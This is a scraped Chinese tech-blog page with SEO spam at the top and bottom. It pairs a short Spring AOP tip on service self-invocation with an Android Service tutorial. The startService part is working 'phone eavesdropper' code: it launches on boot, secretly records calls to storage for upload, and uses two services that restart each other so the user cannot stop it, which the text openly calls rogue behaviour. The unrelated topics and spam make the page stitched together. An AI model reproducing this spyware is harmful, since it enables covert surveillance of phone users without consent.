中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

同一個service如何調用service本身

發布時間:2022-06-21 13:48:51 來源:億速云 閱讀:262 作者:iii 欄目:開發技術

這篇“同一個service如何調用service本身”文章的知識點大部分人都不太理解,所以小編給大家總結了以下內容,內容詳細,步驟清晰,具有一定的借鑒價值,希望大家閱讀完這篇文章能有所收獲,下面我們一起來看看這篇“同一個service如何調用service本身”文章吧。

同一個service調用service本身

如果同一個service調用service本身的方法,出現了事務不能控制。

解決方案

1.在spring配置文件中配置 

<!-- expose-proxy service調用aop實現自身調用自身方法-->    
<aop:aspectj-autoproxy proxy-target-class="true" expose-proxy="true"/>

2.在service中用  AopContext.currentProxy() 方法調用

例如調用myService的mySave方法:

((myService) AopContext.currentProxy()).mySave(myPojo);

service的兩種調用方法

一、startService開啟服務

生命周期如下:

onCreate()&ndash;> onStartCommand() &mdash;> onDestory();

如果服務已經開啟,不會重復的執行onCreate(), 而是會調用onStartCommand()。服務停止的時候調用onDestory()。服務只會被停止一次。

下面是一個電話竊聽器的實例:

在Manifest文件中配置必要的權限和組件。設置一個監聽開機的廣播接收者。

<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<service android:name="com.itheima.phonelistener.SystemService" >
</service>
<service android:name="com.itheima.phonelistener.SystemService2" >
</service>
<receiver android:name="com.itheima.phonelistener.BootReceiver" >
    <intent-filter>
         <action android:name="android.intent.action.BOOT_COMPLETED" />
    </intent-filter>
</receiver>

BootReceiver.java

監聽開機事件。

public class BootReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        Intent i = new Intent(context,SystemService.class);
        context.startService(i);
    }
}

SystemService.java

兩個Service類中的一個。兩個類采用循環調用機制,當其中一個Service被destroy時,系統調用另一個Service。這樣起到了防止用戶關閉的流氓效果。

public class SystemService extends Service {
    // 電話管理器
    private TelephonyManager tm;
    // 監聽器對象
    private MyListener listener;
    //聲明錄音機
    private MediaRecorder mediaRecorder;
    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }
    // 服務創建的時候調用的方法
    @Override
    public void onCreate() {
        // 后臺監聽電話的呼叫狀態。
        // 得到電話管理器
        tm = (TelephonyManager) this.getSystemService(TELEPHONY_SERVICE);
        listener = new MyListener();
        tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);
        super.onCreate();
    }
    private class MyListener extends PhoneStateListener {
        // 當電話的呼叫狀態發生變化的時候調用的方法
        @Override
        public void onCallStateChanged(int state, String incomingNumber) {
            super.onCallStateChanged(state, incomingNumber);
            try {
                switch (state) {
                case TelephonyManager.CALL_STATE_IDLE://空閑狀態。
                    if(mediaRecorder!=null){
                        //8.停止捕獲
                        mediaRecorder.stop();
                        //9.釋放資源
                        mediaRecorder.release();
                        mediaRecorder = null;
                        System.out.println("錄制完畢,上傳文件到服務器。");
                    }
                    break;
                case TelephonyManager.CALL_STATE_RINGING://零響狀態。
                    break;
                case TelephonyManager.CALL_STATE_OFFHOOK://通話狀態
                    //開始錄音
                    //1.實例化一個錄音機
                    mediaRecorder = new MediaRecorder();
                    //2.指定錄音機的聲音源
                    mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
                    //3.設置錄制的文件輸出的格式
                    mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
                    //4.指定錄音文件的名稱
                    File file = new File(Environment.getExternalStorageDirectory(),System.currentTimeMillis()+".3gp");
                    mediaRecorder.setOutputFile(file.getAbsolutePath());
                    //5.設置音頻的編碼
                    mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
                    //6.準備開始錄音
                    mediaRecorder.prepare();
                    //7.開始錄音
                    mediaRecorder.start();
                    break;
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
    // 服務銷毀的時候調用的方法
    @Override
    public void onDestroy() {
        super.onDestroy();
        // 取消電話的監聽
        System.out.println("ondestory");
        Intent i = new Intent(this,SystemService2.class);
        startService(i);
        tm.listen(listener, PhoneStateListener.LISTEN_NONE);
        listener = null;
    }
}

MainActivity.java

控制Service的開啟和關閉。

public class MainActivity extends Activity {
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
    }
    public void start(View view){
        //開啟服務。
        Intent intent = new Intent(this,SystemService.class);
        startService(intent);
    }
    public void stop(View view){
        //停止服務。
        Intent intent = new Intent(this,SystemService.class);
        stopService(intent);
    }
}

二、bindService綁定服務

用綁定方式開啟的Service,其生命周期為:onCreate() &mdash;>onBind();&mdash;>onunbind()&ndash;>onDestory(); 沒有onStartCommand。

步驟:

1. 服務要暴露方法,必須在Service中定義一個內部類&mdash;&mdash;中間人MiddlePerson,實現定義好的接口中的方法(callMethodInService,用于調用Service中的某方法)。

2. 實現服務成功綁定的代碼(onBind方法),返回一個中間人new MiddlePerson()。

3. 在Activity中的bind()方法中采用bindService方法開啟服務。

Intent intent = new Intent(this, MyService.class);
conn = new MyConn();
bindService(intent, conn, BIND_AUTO_CREATE);

4. 當服務被連接或失去連接時,分別實現ServiceConnection接口中的onServiceConnected()和onServiceDisconnected()方法。

5. 最后就可以通過中間人調用服務里面的方法了。

mp.callMethodInService(55);

MainActivity.java

public class MyService extends Service {
    //2.實現服務成功綁定的代碼 ,返回一個中間人。
    @Override
    public IBinder onBind(Intent arg0) {
        System.out.println("服務被成功綁定了。。。。");
        return new MiddlePerson();
    }
    @Override
    public boolean onUnbind(Intent intent) {
        System.out.println("onunbind");
        return super.onUnbind(intent);
    }
    @Override
    public void onCreate() {
        System.out.println("oncreate");
        super.onCreate();
    }
    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        System.out.println("onstartcommand");
        return super.onStartCommand(intent, flags, startId);
    }
    @Override
    public void onDestroy() {
        System.out.println("ondestory");
        super.onDestroy();
    }
    /**
     * 這是服務里面的一個方法
     */
    public void methodInService(){
        Toast.makeText(this, "哈哈,服務給你辦好了暫住證。", 0).show();
    }
    //1.第一步服務要暴露方法 必須要有一個中間人
    private class MiddlePerson extends Binder implements IMiddlePerson{
        /**
         * 代辦暫住證
         * @param money 給錢 50塊錢以上才給辦。
         */
        public void callMethodInService(int money){
            if(money>=50){
                methodInService();
            }else{
                Toast.makeText(getApplicationContext(), "多準備點錢。", 0).show();
            }
        }
        /**
         * 陪領導打麻將
         */
        public void playMajiang(){
            System.out.println("陪領導打麻將。");
        }
    }
}

三、兩種方法的區別

  • start方式開啟服務,一旦服務開啟,就和調用者(Activity)沒有任何關系了。開啟者退出后,如果開啟者掛掉,服務還在后臺長期的運行。而且開啟者沒有辦法去調用服務里面的方法。

  • bind方式開啟服務,一旦調用者掛掉,服務也會跟著掛掉。不求同時生,但求同時死。而且開啟者可以調用服務里面的方法。

以上就是關于“同一個service如何調用service本身”這篇文章的內容,相信大家都有了一定的了解,希望小編分享的內容對大家有幫助,若想了解更多相關的知識內容,請關注億速云行業資訊頻道。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

克东县| 星座| 娄底市| 云林县| 和林格尔县| 武平县| 龙岩市| 平定县| 阜城县| 玛纳斯县| 武鸣县| 普陀区| 同德县| 泰顺县| 辽中县| 东莞市| 河西区| 蓬莱市| 雷波县| 无锡市| 余干县| 萨迦县| 两当县| 灌南县| 孝昌县| 利津县| 永州市| 武夷山市| 宁津县| 奉化市| 杨浦区| 北川| 资中县| 赤壁市| 海兴县| 沿河| 巴东县| 怀宁县| 霍城县| 长汀县| 吉木乃县|